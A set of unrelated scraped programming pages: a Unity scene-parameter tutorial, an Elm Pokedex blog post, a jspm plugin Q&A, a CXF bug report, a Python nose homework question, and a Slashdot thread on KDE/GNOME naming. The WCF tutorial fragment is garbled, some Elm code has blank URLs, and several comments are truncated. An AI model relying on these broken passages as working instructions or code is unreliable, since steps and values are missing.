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Unity lacks a way to pass parameters to a new scene. If you want to send some game state data to the next level you have several options, such as PlayerPrefs or persistent classes, but they are not always elegant solutions.
I decided to copy NavigationHelper from Windows Store apps. NavigationHelper allows you to send an object when navigating to a new page (scene), like this:
NavigationHelper.Navigate("Level2", myParamater);
myParameter is then retrieved by the new scene when it loads.
The Code
NavigationHelper static class
This technique requires two parts: the NavigationHelper static class is the part that sends the parameter. It has one public static method and a public static variable of type object.
using UnityEngine; using System.Collections; public static class NavigationHelper { public static object Args; public static void NavigateToScene(string sceneName, object args = null) { if (args != null) { Args = args; } Application.LoadLevel(sceneName); } }
When you call NavigateToScene() any object in the (optional) args parameter is stored in the static Args variable, and then the requested scene is loaded. This is similar to common workarounds of storing data in PlayerPrefs or static classes, bit is more structured.
Receiving the Parameters in the New Scene
When NavigateToScene() is used, the passed parameter gets stored in the static NavigationHelper.Args variable. You can access the parameter from the scene you’ve navigated to. To make this simpler and neater, I decided to create a script that interprets the passed parameter. Here’s the code:
OnSceneLoad script
using UnityEngine; using System.Collections; public abstract class OnSceneLoad : MonoBehaviour { void Awake() { if (NavigationHelper.Args != null) { InterpretArgs(NavigationHelper.Args); } } /// summary /// ///Use this method to interpret the arguments received from the navigation helper. Cast the args to the correct type for this scene. /// summary public abstract void InterpretArgs(object args); }
This is an abstract class that inherits MonoBehaviour (so all the usual MonoBehaviour methods are still available). It contains just two members: an implementation of MonoBehaviour’s Awake() method and an abstract method called InterpretArgs().
Awake
Awake() is the usual MonoBehaviour method that runs when the scene loads. It verifies that args is not null, then calls InterpretArgs().
InterpretArgs
It’s up to you what you do in InterpretArgs(). It will run automatically when the scene loads. Typically you will cast the parameter to the relevant type and then do something with it. For example, pass in an object that holds a new game level, and do something like this:
public override void InterpretArgs(object args) { currentLevelData = (LevelData)args; screenHeading.text = currentLevelData.LevelName; }
You should only use one OnSceneLoad per scene, but there should be no reason to do otherwise.
Conclusion
It might not seem like it at first, but this method is simpler than the usual workarounds, and is more robust and clean. It’s a simple way to send parameters to a scene in one method call, and a rigid, simple way to receive those parameters. The added rigidity makes it harder to send or received the wrong data.
As I said earlier, this is a first draft of an idea I scrapped together quickly for a prototype. I’d love some suggestions for improving it, such as making it more adaptive to different types of data. Perhaps it should remember parameters for multiple navigations? Arrays? What do you think? Let me know.
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http://unity.grogansoft.com/2015/05/
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When I first started at thoughtbot, my primary experience was in Rails and
TypeScript. However, the first project I joined was written in Elm and Scala.
Both are pretty different from my “native” languages: they are strictly
typed and utilize functional programming patterns. But, getting
onboarded with Elm was much easier than with Scala. There were many reasons for
this, one of them being that Elm has a famously descriptive and easy-to-use
compiler that gave me very direct messages about what I needed to fix. Despite
this, though, I often found myself wondering why things had to be done in such
specific ways. What was a
Cmd? What was a
Msg? Why did I even need them? I
resolved that the best way to find out was to build something every 90’s kid
dreamed of having.
If you guessed a Pokedex, then you either really wanted one too or you just read the title to my post. Either way, good job!
It turns out that what goes into a Pokedex is perfect for a beginner app. All you need to be able to do is search for the name of a Pokemon and display the information you want about that Pokemon. Conveniently - as if I planned it or something - there is also a well laid out and detailed API called the PokeApi.
With that in mind, my next step (apart from reading the Elm docs, of course), was to figure out what I wanted on the page. In addition to a search bar, I decided that I was going to also make a “Get Random Pokemon” button, which would introduce me to how Elm handles random numbers - since, spoiler alert, random numbers are handled differently in functional programming languages.
So, written out, here are the steps I followed to make the app:
- Set up the configuration to get a simple “hello world” page.
- Build a “Get Pokemon” button that only returned the PokeAPI response from one URL.
- Expand from a “Get Pokemon” to “Get Random Pokemon” button.
- Build a simple decoder that takes the API response and returns just a name.
- Add onto that decoder to get more deeply nested values from the response and build a Pokemon record.
- Move on to making a search bar, using Elm’s
onInputfunctionality.
It seems like this would be slow, but it worked well to better understand some idiosyncrasies in Elm. Of course, there were some gotchas to this process that were unique to Elm that made things slower. However, there were also some victories to using this elegant, strictly-typed language that really made me feel like I was catching ‘em all.
Starting the app and getting a “Hello World” page
After installing Elm, all you need to do is go to your project folder and type
elm init. That’s it. o(≧▽≦)o
Typing
elm init gets a basic folder structure started - it will prompt you to
make an
elm.json file which keeps track of the packages you use (like
package.json does for
npm projects). It will also make an
src folder where
it will look for files you’ve created in your Elm project.
From here all I needed to do was set up a server and a
Main.src file.
Depending on how you set up your project, the compiler might also give you
further steps to follow. As I’ve mentioned at the beginning of this post, Elm is
thankfully really good in this department. You will almost never be left
scratching your head at a response from the compiler. Here’s an example of the
elm init output in the terminal:
❯ elm init Hello! Elm projects always start with an elm.json file. I can create them! Now you may be wondering, what will be in this file? How do I add Elm files to my project? How do I see it in the browser? How will my code grow? Do I need more directories? What about tests? Etc. Check out <> for all the answers! Knowing all that, would you like me to create an elm.json file now? [Y/n]:
Personally, I used
nginx for the server, since I’ve used it for previous
projects and knew how to set it up quickly. There are other options here like
Create Elm App, Elm
Live, and Parcel.
However, if you are doing something super simple, you can also just run
elm
reactor with no extra packages
needed.
To get a
Main.elm file started, I followed the example on this
page, since I knew my end goal
was to serve the result of a decoded JSON response and nothing super fancy. I
cut out everything but one
Model variant to have a result like this:
import Browser import Html exposing (..) import Html.Attributes exposing (..) import Html.Events exposing (..) -- MAIN main = Browser.element { init = init , update = update , subscriptions = subscriptions , view = view } -- MODEL type Model = HelloWorld init : () -> (Model, Cmd Msg) init _ = (HelloWorld, Cmd.none) -- UPDATE update : Msg -> Model -> (Model, Cmd Msg) update msg model = (HelloWorld, Cmd.none) -- SUBSCRIPTIONS subscriptions : Model -> Sub Msg subscriptions model = Sub.none -- VIEW view : Model -> Html Msg view model = div [] [ h2 [] [ text "Hello world!" ]]
From there, all I had to do was run
elm make Main.src and start up my server.
TL;DR: Elm makes starting up very straightforward, and there are many ways to serve and tweak your configuration to make it even easier for you and your team.
Fetching raw data from an API
Elm also makes this process pretty straightforward. I needed to make sure my
view had a button with an
onClick event handler. If you come from something
like React or Angular,
onClick acts very much the same to what you know,
though instead of calling a function right there, Elm sends a “message” to its
update function. In other words, instead of making a new function called
getMeAPokemon() that handles all of the logic, I needed to create some new
“messages” and “commands” in the
update function of my app.
What does this mean? This is a part of the Elm
architecture. Of all things, this was
the hardest to wrap my head around at first. What makes Elm different from the
pack, and what might take some extra mental chewing, is that you send “messages”
around in your app when things change states, and paired with those messages are
“commands”. These commands are sometimes side-effects that do something
outside of your app. In this app, as you will see below, it is to complete an
HTTP request. Sometimes these commands are just… well… nothing. This is
reflected as
Cmd.none, which means that the process being completed has no
side-effect.
Here, the
onClick triggers a
Msg, which is sent to the
update function.
The
Msg waves its arms saying “Hey, this button was clicked!“ The
update
function then knows what to do with this information based on the
case
statement. The
case statement then directs you to the
Cmd that makes a GET
request to the PokeAPI and returns its response. When I get that response (a
Result), another
Msg waves its arms saying “Now I’ve got something from the
API”. This
Msg (
RandomPokemonResponse) is then sent back to the
update
function and, like before, it has a branch in the
case statement with the
appropriate course of action.
What makes
RandomPokemonResponse only slightly different than the first
Msg
we saw is that the
Result tags along with it. This is so the
Result can be
dealt with as well: showing the user the info about the Pokemon if the
Result
is "good” or showing an error when the
Result is “bad”. That’s it. Hopefully
this peels back some of the noise around the architecture, which definitely
confused me the first time I used it. (Even while I was trying to write this
blog post!) Here is the code below:
type Msg = RandomButtonClicked | RandomPokemonResponse (Result Http.Error String) update : Msg -> Model -> ( Model, Cmd Msg ) update msg model = case msg of RandomButtonClicked -> -- Loading is a Model, like HelloWorld except it has the page say "Loading..." ( Loading , Http.get { url = "" , expect = Http.expectString RandomPokemonResponse } ) RandomPokemonResponse result -> case result of Ok fullText -> ( Success fullText, Cmd.none )
The
view function has a bit of HTML (written out in Elm, which is a point we
will get to later) that looks like this:
div [] [ text "Search for a Pokémon:" , button [ onClick RandomButtonClicked ][ text "Random Pokemon"] ]
TL;DR: Unless you’ve written a Redux reducer, this is likely not an architecture you’ve seen before. This pattern may be what you spend the longest getting used to.
Getting a Random Pokemon
From here, I changed the button to get a random Pokemon instead of just Ditto all the time. This required some finagling, since Elm is a functional programming language. It requires functions to be pure.
Getting a random number is inherently impure: it gets a different number every
time you call it. Pure functions don’t act like that - if you give a pure
function an input
x and it returns
y, it will always return
y with input
x. To get around this, I needed to lean heavily on the aforementioned Elm
architecture to do what I wanted. You can see the extent of my changes to make
this happen in the git diff of
Main.elm:
type Msg = RandomButtonClicked + | ReceiveRandomId Int | RandomPokemonResponse (Result Http.Error String) update : Msg -> Model -> ( Model, Cmd Msg ) update msg model = case msg of RandomButtonClicked -> ( Loading - , Http.get - { url = "" - , expect = Http.expectString RandomPokemonResponse - } + , Random.generate ReceiveRandomId generateRandomNumber ) + ReceiveRandomId id -> + buildRandomPokemonResponse id + RandomPokemonResponse result -> case result of Ok fullText -> ( Success fullText, Cmd.none ) Err _ -> ( Failure, Cmd.none ) +buildRandomPokemonResponse : Int -> ( Model, Cmd Msg ) +buildRandomPokemonResponse randNumber = + ( Loading + , Http.get + { url = "" ++ String.fromInt randNumber + , expect = Http.expectString RandomPokemonResponse + } + ) + + +generateRandomNumber : Random.Generator Int +generateRandomNumber = + Random.int 1 150
Overall, when working with Elm, apart from the new architecture, you will find that you don’t always need to know bucketloads about functional programming. In a lot of ways this is great! You can just get up and running with it. Occasionally, though, there are inklings that leak through … like random numbers or HTTP requests, which are two examples you’ll see in my demo app.
When you start doing more intense things in your apps like mapping or dealing
with “contexts” (e.g.,
Maybe),
you’re gradually eased in to some of the more hairy topics that languages like
Scala just throw you into. This is one of the many reasons why quite a few
people at thoughtbot recommend learning Elm if you want to get your feet wet
with functional programming or strictly typed languages:
Not only do you have your hand held by the compiler, but the names of more complex concepts are relatively friendly compared to other languages.
TL;DR: Elm is a functional programming language that doesn’t entirely feel like one. If you’re new to functional programming, start with Elm!
Building a Decoder Incrementally
This is notoriously something that gives people a lot of trouble in strictly typed languages. In Elm, this is no exception. I burned a lot of time working on decoders in my app. I was lucky that both Josh and Joël have written about this, which gave me a good foundation to work off of. Eventually, what I learned is to build a Decoder incrementally. Start small, then begin adding more detail as you go. In my case, I just started with the name of the Pokemon. Then, I went about adding things from more nested and complex structures within the JSON body, like moves and abilities.
I found that by starting small and thinking of each piece as a tiny building
block, I was less likely to make a mistake. It also made me really think about
what I wanted my
Pokemon type to look like. What information was actually
important to impart to the user? I found that going through the time to make a
decoder for something large (with possibly unnecessary fields) in Elm would take
a great deal longer, so the likelihood of me putting extra time into something
a user might not want was significantly less. I ended up building a much more
elegant and sparce data structure than I would have in something like TypeScript
or Ruby.
type alias Pokemon = { name: String , abilities : List Data , moves : List Data } type alias Data = { name : String , url : String }
Then, I was able to make a decoder for each attribute in the Pokemon data
structure and use that to make a larger decoder for the Pokemon itself. Here, I
got to use a
map3 function, which is another neat trick from functional
programming that Elm makes accessible to new programmers.
pokeDecoder : D.Decoder Pokemon pokeDecoder = D.map3 Pokemon nameDecoder abilitiesDecoder movesDecoder
TL;DR: No matter the language, decoders are no fun when you first start out. With Elm, though, you are encouraged by the nature of the language to consider more simplistic data structures. This arguably makes programmers happier when working with the code. Overall, the ability to compose and reuse decoders becomes a boon the more complex your app gets. In addition, with Elm’s decoders, the shape of your data is guaranteed after it’s been decoded! No more “shotgun decoding” required (looking at you, JavaScript).
Building a Search Bar
To try something new, instead of making a “Submit” button, I used Elm’s
onInput functionality, which sends out its associated
Msg when a user types
something into the input. In this case, when a user types something into the
search bar, I have a
Msg that corresponds to a branch in the
update
function’s
case statement, which sends the user’s input to
HTTP.get via
buildSearchedPokemonResponse. In there, if their input matches a Pokemon,
information will come back about that Pokemon. If not, they will get an error
message. For reference, here’s the
update function mentioned above:
update : Msg -> Model -> ( Model, Cmd Msg ) update msg model = case msg of RandomButtonClicked -> ( Loading , Random.generate ReceiveRandomId generateRandomNumber ) ReceiveRandomId id -> ( Loading, pokemonRequestById id ) ReceivePokemonResponse result -> case result of Ok pokemon -> ( SuccessWithPokemon pokemon, Cmd.none ) Err _ -> ( Failure, Cmd.none ) UserTypedInName name -> ( Loading, pokemonRequestByName name )
Of all the features I had planned for this app, I thought this one would take me
the longest. However, with the way the Elm architecture is built, it took me
about 2 minutes to wire everything up. Here is the
search function in the
view section of my app:
search : String -> Html Msg search query = div [ class "lines__header-wrapper" ] [ div [ class "search__wrapper" ] [ input [ placeholder "Search for a Pokemon" , type_ "search" , value query , onInput UserTypedInName ] [] ] ]
For first-time Elm users, writing your HTML using Elm’s HTML
library is definitely a
bit strange, but doing so allows you to extract your view to different, smaller
blocks (sort of like the way I broke down the decoders). You can swap in
different “views” to your main
view function depending on what
Model you
return in your
update function. This allows you to conditionally render chunks
of your
view code and encourages you to make reusable “components” for your
page … sounds sorta like React, doesn’t it?
The difference between React and Elm, though, is that Elm’s reusable components
are actually just functions! React seems to be heading in this
direction,
but it’s not as strict as Elm (yet) — components in React can still be
classes that extend
Component. However, in Elm, you extract reusable code
only into functions - since Elm is a functional programming language from the
ground up, unlike JavaScript/TypeScript.
You can also add CSS to your app, either by rolling your own stylesheet and just
popping it into the
index.html file like you would in basic webpages, or you
can use one of Elm’s CSS packages to manage everything for you. I just rolled my
own since styling wasn’t my main focus here, but
elm-css
seems to be one of the more popular ones.
TL;DR: Elm basically has its own version of JSX and encourages you to
organize your
view into components. This makes for a highly reusable and
organizable UI, which React developers will appreciate.
Wrap Up
Elm is a language that is extremely conscious of first-time users. Getting up and running in it is much less difficult compared to starting a project using TypeScript - though Rails still takes the cake overall. In addition, I felt much more comfortable dipping my toes into functional programming practices using this language than a more abstract one like Scala. The added benefit of a strictly typed system and a helpful compiler made me feel much more focused and able to complete parts of my app faster.
Overall, there are a couple things to get used to when it comes to Elm. The first and most important is the architecture. If you plan on doing a project in Elm for the first time, I would read up on that to get an idea of what design considerations Elm expects of you. As I’ve mentioned above, that was what took me the longest to get used to. The other is building decoders - this is not something you have to do in a Rails or even a TypeScript project. Though, depending on how strict your settings are in the latter, you might add types to the responses you receive from an API, which is one step closer to the kind of work put into building an Elm decoder.
I would highly recommend anyone new to strictly typed languages or functional programming to check out Elm as a way to build your first project. I found it a joy to work with and I’m excited to do more with it.
PS: If you want to see the entirety of my project, you can visit the repo. I’ve also created a gist with all of the learning resources I’ve used / currently using. Have fun!
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https://thoughtbot.com/blog/gotta-catch-an-elm?utm_campaign=Elm%20Weekly&utm_medium=email&utm_source=Revue%20newsletter
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I'm trying to import the jQuery plugin jQuery.scrollTo with JSPM.
So far I installed it with
jspm install npm:jquery.scrollto
and now I'm trying to import it with
import $ from 'jquery'; import scrollTo from 'jquery.scrollto';
Now I'm only getting
$(...).scrollTo is not a function
errors.
I tried to shim it, but I never did it before and can't find a good explanation how to do it, if it is necessary. Can you help me or show me a good explanation when and how do I need to shim things?
I tested on a clean project and here are the steps that i followed:
jspm install jquery
jspm install npm:jquery.scrollto -o "{format: 'global'}" - (see this answer)
add the imports in my
app.js as described in the question.
tested both from dev mode and from a self executing bundle with no errors.
You can clone a test repo I've put up here on Github, the steps to build are in the readme. Hope this helps.
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http://databasefaq.com/index.php/answer/6130/jquery-plugins-shim-jspm-import-jquery-plugin-with-jspm
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.
System.Xml.Linq. Follow the steps below to customize it:
using System.ServiceModel;
[ServiceContract]
[OperationContract]
String GetMessage(String name);
using
ServiceContract
GetMessage
OperationContract., the ASP.NET Development Server, we need to add a new web site to the solution. Follow these steps to create this web site:)...
Note: even if you set its port to 80, it is still a local web server. It can't be accessed from outside your local PC.: Solution Explorer and selecting Set as Start Page from the context menu..
First, we need to create a console application project and add it to the solution. Follow these steps to create the console:.
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https://www.codeproject.com/Articles/97204/Implementing-a-Basic-Hello-World-WCF-Service?msg=4554455
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Colm O hEigeartaigh created CXF-4841:
----------------------------------------
Summary: STSClient AppliesTo is not working correctly in certain circumstances
Key: CXF-4841
URL:
Project: CXF
Issue Type: Bug
Components: STS
Affects Versions: 2.7.3, 2.6.6, 2.5.9
Reporter: Colm O hEigeartaigh
Assignee: Colm O hEigeartaigh
Fix For: 2.7.4, 2.6.7, 2.5.10
The STSClient is only sending an AppliesTo address when an AddressingProperties object is
available on the message context. It should default to the standard WSA namespace when it
is not + send the AppliesTo address.
--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see:
|
http://mail-archives.apache.org/mod_mbox/cxf-issues/201302.mbox/%3CJIRA.12633170.1361357973414.309879.1361358074183@arcas%3E
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I have just begun learning Python and I got stuck (1day experience :)). Couldn't you help me with my homework?
Exercise:
We have module checkers with function is_triangle
The method signature with a documentation string:
def is_triangle(a, b, c):
"""
:param a: length of first side
:param b: length of second side
:param c: length of third side
:return: "True" if possible to create triangle with these sides. Otherwise "False"
"""
In this
.py file you should write
import nose.tools as nt from checkers import is_triangle def test_is_triangle(): # Define test_a, test_b, and test_c here such that they should produce a # return value of False. nt.assert_false(is_triangle(test_a, test_b, test_c)) # Redefine test_a, test_b, and test_c here such that they should produce a # return value of True. nt.assert_true(is_triangle(test_a, test_b, test_c))
You should then run this script in one of two ways:
$ nosetests your_file_name.py
or
$ python your_file_name.py # as your instructor has requested.
The test should fail until you have a properly written
is_triangle function. If you find that your initial tests are inadequate -- such that the tests pass even though
is_triangle is incorrect -- add more.
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https://codedump.io/share/J0GPNqsfjwza/1/python-function-testing-using-nose
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>>IMAGE."
This is ridiculous! (Score:3, Insightful)
Seems both KDE and Gnome are making themselves irrelevant. Switched to XFCE, not going back.
Re:This is ridiculous! (Score:5, Interesting)
[2]
No, really, this is ridiculous
KDE for breaking and rebuilding everything, while making it half-assed.
Gnome for dumbing-things down excessively (we may call it 'retarding-it-down')
Switched to XFCE. Next computer is going to be from that company from Cupertino
This whole kind of idiocy is why we can't have nice things...
Re: (Score:2)
I'm sorry, KDE is far from half-assed now, it might have been unstable back in the days of KDE 4.0.x
I'm using 4.6.5 on Arch Linux right now, and it's even more stable than GNOME 3.0, I know it should be, but yet again, 4.6.5 is the latest stable release, it hasn't been tested that thoroughly, either
Not to mention that Arch is known to be bleeding edge, so it's not the most stable distro around.
So yeah, I chose to go with KDE, at least for now, it's more reliable and customizable than GNOME 3.0.
Re: (Score:2)
Re: (Score:3)
True, I like(d) KDE, last time I tried it was 4.2 IIRC
Also, there's an issue with distros not properly supporting it. Even Kubuntu is so-so.
I LOVED KDE 3, KDE 4, even without the problems, I'm not a huge fan
But it's KDE anytime over Gnome. And what I like about XFCE is that it keeps the customization aspects of KDE while being lightweight.
Re: (Score:3)
Oh, KDE 4.6 (and upcomming 4.7) are miles ahead of 4.2. After all, it is 2.5 years of development since you last checked...
Free software is not like closed source, it moves continuously: there is no particular incentive for big releases which mpres customers. But the progress accumulates just the same.
Re: (Score:3)
KDE4 is currently much better than it was, but it's not yet as good as Gnome2, much less as good as KDE3.x. I'm not, however, saying that it isn't better than Gnome3 will be. Early appearances are that it's better.
Whether I'll switch back the KDE4, or switch to LXDE when Gnome2 is withdrawn is not something I've decided upon. Maybe there'll be a successful revival of KDE3. (I know it's being worked on. The last time I looked, the repositories weren't working.)
Re:This is ridiculous! (Score:4, Funny)
No, really, this is ridiculous
They're just following the Microsoft model of renaming/moving everything just when you get to know where things are and what they're called.
Microsoft spends millions of $$$ a year on usability studies so it must be the correct thing to do.
Re:This is ridiculous! (Score:5, Insightful)
When you get to the phase where your new features all involve renaming things, rounding corners, or improving "user experience" then you know it's done and you should pick a new project to work on.
I'm sort of serious here. Early on in a project there are lots of important changes and each release has some big improvements. Later on though the devs/company wants to keep up having recent releases so they start reaching deep in the barrel to find things to keep the feature list full.
Creating something great requires two people (Score:4, Insightful)
When you get to the phase where your new features all involve renaming things, rounding corners, or improving "user experience" then you know it's done and you should pick a new project to work on.
My wife spent some time in serious art-school mode. One of the profs that she greatly respected told her that making great art requires two people -- 1) the person capable of making the piece, and 2) someone else to shoot the first person when they're done. This is because most folks can't leave well enough alone and keep futzing until what was great (or at least on the cusp of it) is munged beyond the pale.
It does indeed look like at least some of the Linux DEs are at the "shoot the artist" stage.
Cheers,
Re: (Score:2)
2) someone else to shoot the first person when they're done.
Oh, an editor.
Re: (Score:3)
It does indeed look like at least some of the Linux DEs are at the "shoot the artist" stage.
Gnome is well past that point. And Unity either hasn't reached it, or was there before it started.
Re: (Score:2)
[2]
No, really, this is ridiculous
No, really, it's worse than ridiculous. KDE shouldn't be calling their's "System Setting" either: [kde.org] (who themselves are frequently in a catch-up with Apple) - and I was no longer prepared to spend ages messing around because the Latest Greatest Distro has so many bugs (however minor) that I have to spend hours fighting with it.? I don't have to double click on a web link, why should starting an application be different? There are so many little issues of fit and finish like ev event that pushed me, it was more a "death by a thousand cuts" kind of thing that eventually led to me saying "Enough! If I'm going to battle with a desktop OS, I'm going to be paid for it!"
YMMV and all that.
Indeed, my mileage does vary, I enjoy not having to put in a driver disk to install a printer. My printer experience on Linux lately has been that you plug in the USB cable to whatever printer, new or old, and it prints. And you can generally expect printing to continue to work properly even after many years of system updates. No doubt there are exceptions to this rule, I just haven't hit any recently. And Windows PCs are hardly immune from printer problems [google.com].
Re: (Score:3)
Oh, these things all worked in basic terms, that wasn't the issue. But you don't buy a fancy photo printer that is sold with the ability to print on CDs and right to the edge of the paper for fun.
Those features - minor though they are - simply did not exist on Linux at the time. The "print on CDs" feature was only implemented by sheer chance when someone pointed out that Epson had re-used a well-known command to instruct the printer to load the CD tray.
Upshot: Yes, you can get basic functionality on Linux q
Re: (Score:3)
I was using printers as an example; there were plenty of other issues. You've got to bear in mind this was 2005; VPNs (as a remotely-connecting desktop user), USB thumb drives and multi-monitor support are the biggest that immediately spring to mind. I know for a fact that USB thumb drives are much better supported today, but back then most desktop environments had dire support for unmounting removable media - I had to write my own script that would deal with it and put an icon on the desktop. I managed to
Re: (Score:3)
Multi-monitor support was dire,
It still is. It's a shame that if I want to use two monitors and screen locking, I can't run Gnome. Because each display reports non-use separately, so in the middle of typing a document, if I bump the mouse over to the other display, the screen saver locks both of them, due to one of them not having been used for a while.
Then there's gdm and the login prompt that doesn't see the monitors in the same order as the desktop does. Makes for some interesting mousing, especially with four monitors.
Oh, and like
Re: (Score:3)
"This whole kind of idiocy is why we can't have nice things..."
XFCE _IS_ nice!
Re: (Score:2)
"This whole kind of idiocy is why we can't have nice things..."
XFCE _IS_ nice!
Agree 100%! Using XFCE right now!
Re: (Score:2)
Next computer is going to be from that company from Cupertino
Yeah. Because Apple would never dumb down their interface for 25+ years with a one-button mouse.
Or have the police kick in the front door of a journalist. [macrumors.com]
Re: (Score:3)
Next computer is going to be from that company from Cupertino
Yeah. Because Apple would never dumb down their interface for 25+ years with a one-button mouse.
Let's go for a car Analogy
Windows is like driving an automatic transmission car
KDE is like driving a manual transmission car
Apple is like driving a car with a joystick and buttons instead of a wheel and pedals
Gnome is like a manual transmission car, without the stick, clutch or brakes
Re: (Score:2, Insightful)
e17 ftw.
:) Lighter than XFCE, even more customizable. Don't regret installing it for a moment. :)
Re: (Score:3)
Lighter? What, does it make my laptop weigh less? What does that even mean anymore?
Re:This is ridiculous! (Score:5, Funny)
Re: (Score:3)
The windows are all rendered in pastels.
Re: (Score:2)
There's that word again; "lighter". Why are things so much lighter in the future? Is there a problem with the earth's gravitational pull?
You'll know in 1986,
I can't believe that nobody got the BttF quote!
Re: (Score:2)
There's that word again; "lighter". Why are things so much lighter in the future? Is there a problem with the earth's gravitational pull?
Wrong "lighter" -- They're talking the portable device that "can summon up fire without flint or tinder."
"This new battery makes my laptop lighter." Which is to say: The battery is now responsible for the device's spontaneous combustion capabilities.
Software that is very flawed can contribute to overheating, really bad code (especially in firmware) may cause a meltdown or small lap flame.
I'm positive that widespread pyromania is responsible for the term's proliferation and mistaken "positive" connota
Re:This is ridiculous! (Score:4, Interesting)
go get a early pentium4 with 512 megs of ram, run gnome and then run xfce (try your best to not infect it with too many gnome libs) you will see what lighter means instantly
on a much more extreme example take my powermac 9600/300. yea its slow but perfectly usable in xfce, in fact I had to use it for a couple weeks when my main desktop took a dump, uses half of its 256 megs of memory and suits its needs as both a daily electronics bench machine and retro computer (its 14 years old). I installed *something* that installed and started a gnome process and it doubled the boot time and left me with like 3% free memory, then failed to load the application.
Re:This is ridiculous! (Score:5, Interesting)
It's the politically correct term for "not so damned fat and bloated", although "leaner" might be more PC.
I thought it was silly too until I rtfa. KDE is right, it will cause problems for folks using both.
Re: (Score:2)
It makes your laptop weigh less. That's simple enough to understand. You see as we spend more and more time computing, even to the point where we are carrying out laptops out of our cubicles to our homes, working on weekends and vacations, we start to lose more and more muscle mass. So the lighter laptops are required in order to keep us slaving away.
Re: (Score:2)
Re:This is ridiculous! (Score:5, Insightful)
I have to say that XFCE is getting mighty fat recently - it is no fun on an old PC or even in a virtual machine. Which means that I am moving on to LXDE - it does just what I want, and it does it quickly.
Is there a law that says software has to get fat over time? Because that is surely the way it is going. KDE 1.0 was pretty light at some point, and up to KDE 3 it worked well in a virtual machine. I guess I could always use trinity instead - but then again I really like okular over kpdf...
Re: (Score:3)
Is there a law that says software has to get fat over time?
Yes, it's the natural order of software. "Gee, wouldn't it be nice to have feature X?" And usually the answer is "yes", at least for a large enough number of people. Repeat that over enough years and your software will become bloated.
The cycle starts anew when the bloat becomes too much, and people flock to a lightweight competitor.
Re: (Score:3)
This is ridiculous!
Of course it is. Even I know to use mv to rename something in Linux.
Re: (Score:2)
Re: (Score:2)
XFCE feels heavy when you have a lot of gnome tie in. I'm running gentoo with "-gnome -kde -qt -qt4" in my USE flags. None of the gnome/kde cruft. Granted I like gnome-screensaver better than xscreensaver, but ohh well.
Re: (Score:2)
It's fully functional and lightweight, the way a DE should be IMHO.
Re: (Score:2)
I disagree. Competition is good, and it gives more ground for implementing different ideas and choosing the best.
Freedesktop is enough as a common ground.
Really? (Score:2)
Re:Really? (Score:5, Informative)
RTFA. The real issue is that duplicating the name is causing system conflicts for those with both installed.
Re: (Score:2)
Then why not instead make it so having both installed with the same name doesn't matter...? I can think of a few easy fixes and my day job is not programming... Instead they want to act like three year olds, which frankly is silly.
Two menu items with the same name (Score:5, Informative)
Re: (Score:3)
The easiest solution is to add a check on the area your using (whether this is on disk or in memory) and see if what you want is actually there. Not being a programmer I can't tell where specifically they currently overlap, but adding checks to verify the state of something is 101 level comp sci stuff I learned back with basic in high school.
In the worst case were they directly are overwriting the same data and messing everything up a small utility which can even separate the settings by app within the same
Re:Two menu items with the same name (Score:5, Informative)
That is precisely how they decided to solve it [gnome.org], to everyone's satisfaction [gnome.org]. Nothing to see here anymore, move along.
Re: (Score:3)
Re: (Score:2)
It really depends on how and where they conflict. For example, if both insist on using the same directory name in the same menu/subdirectory, it might not be easily resolvable. There could be cases that would require one of the projects to change names of file, directories, menus, whatever. "Fixing" it without either side changing anything in their own projects could require a lot lower level fundamental changes to other areas.
And since you're right, they are both acting like 3 year olds, I doubt those w
it's a feature (Score:2)
The developers probably don't see that as a problem; it's something like an "unpermitted use case", which is code for something they'd never do, hence nobody else should.
Re: (Score:2)
RTFA. The real issue is that duplicating the name is causing system conflicts for those with both installed.
Aha! So the true culprit is Linux, for not providing a proper namespace mechanism.
Re: (Score:2)
The real problem is themselves, for not providing a menu system that allows for any other environment to be simultaneously installed.
Re: (Score:3)
Not so much Linux, the kernel knows nothing about these files. The structure they are using to specify menu entries is specified by freedesktop.org, who are suppose to provide specifications for ensuring desktop environments are compatible so in a sense it's their fault. Suddenly the Windows pseudo-standard of CompanyName -> Application Name makes a little more sense.
Re: (Score:2)
I read the article and the thread. There is a perfectly good solution presented and that would be to use the OnlyShowIn option on the
.desktop files. That option was created specifically to handle situations like these and it would be proper to utilize them.
While the KDE side would like to see different names as their form of distinction, I would argue that it is actually more advantageous that the names be identical to help the user when switching between KDE and GNOME. As pointed out, having two simila
Re: (Score:2)
RTFA. The real issue is that duplicating the name is causing system conflicts for those with both installed.
Nor is this the first time something like this has happened between KDE and Gnome: [gnome.org]
Yeah... (Score:2)
Re: (Score:2)
This is definitely something worth arguing about.
You're right, as I DO use both kde and gnome. One does say System Settings, the other is Control Center. Hence, I've run into the same situation with "screensaver: which now I have 2 entries, both of which are identical, but alas, click the wrong one, and it asks you if you want to shut down gnome. What a pity that Gnome & KDE devs have to act like a couple of kids in a sandbox, and you stole my toy.
Re:Yeah... (Score:5, Funny)
seems to be about a name clash (Score:2)
If that's the case it's a bit ridiculous. Maybe it'd be good to add some kind of namespace system.
Anyway...this doesn't deserve to be on slashdot front page.
Re: (Score:2)
Re: (Score:2)
Anyway...this doesn't deserve to be on slashdot front page.
Slashdot is "New for Nerds", right? Can you think of anything more nerdish?
Re:seems to be about a name clash (Score:5, Insightful)
Uhh, I also comes from a long background of GNOME ignoring KDE, and acting as though they exist in a vaccuum. Also, they knew about the naming issue.
So the guy has reasons to be miffed: GNOME, at this stage lives in a bizzare delusion that they are an OS, and not just a DE. And this attitude is clearly grating: they seem to believe that what they do is the standard, and that probably KDE is something like windowsblind is (was?) for MS windows. And of course, the KDE dev have stopped assuming good faith, because their is none.
Re: (Score:2)
Yeah, the KDE developers have spent a lot of time chasing after compatibility with Gnome's latest NIH ideas (badly thought out new methods of hadling system tray items, changing how to handle shutdowns every other release...)
Re: (Score:2)
I agree completely. If I got a childish E-mail like that from a co-worker about a project I'm working on, I'd be pretty astounded. Totally unprofessional.
Naming conventions (Score:2)
Re: (Score:2)
No, that's a different problem. That problem is that you're searching for the name of the thing you want directly, rather than a tag, or a word IN the name of the thing you want.
If your files and panels and whatnot are indexed properly, then when you search for network, you get all of the network related panels, and when you search for network settings, it doesn't just search for the string "network settings" but for all of the panels tagged, "network" which are also tagged, "settings." or have both word
call FreeDesktop.org? (Score:2)
Are the requirements so different that the KDE and GNOME guys can't work together to establish a common framework that would work well for both of them, and free up some additional cycles, say for keeping virtuoso from filling up the disk with
.xsession errors or making GNOME 3 more configurable?
Where is the conflict? (Score:2)
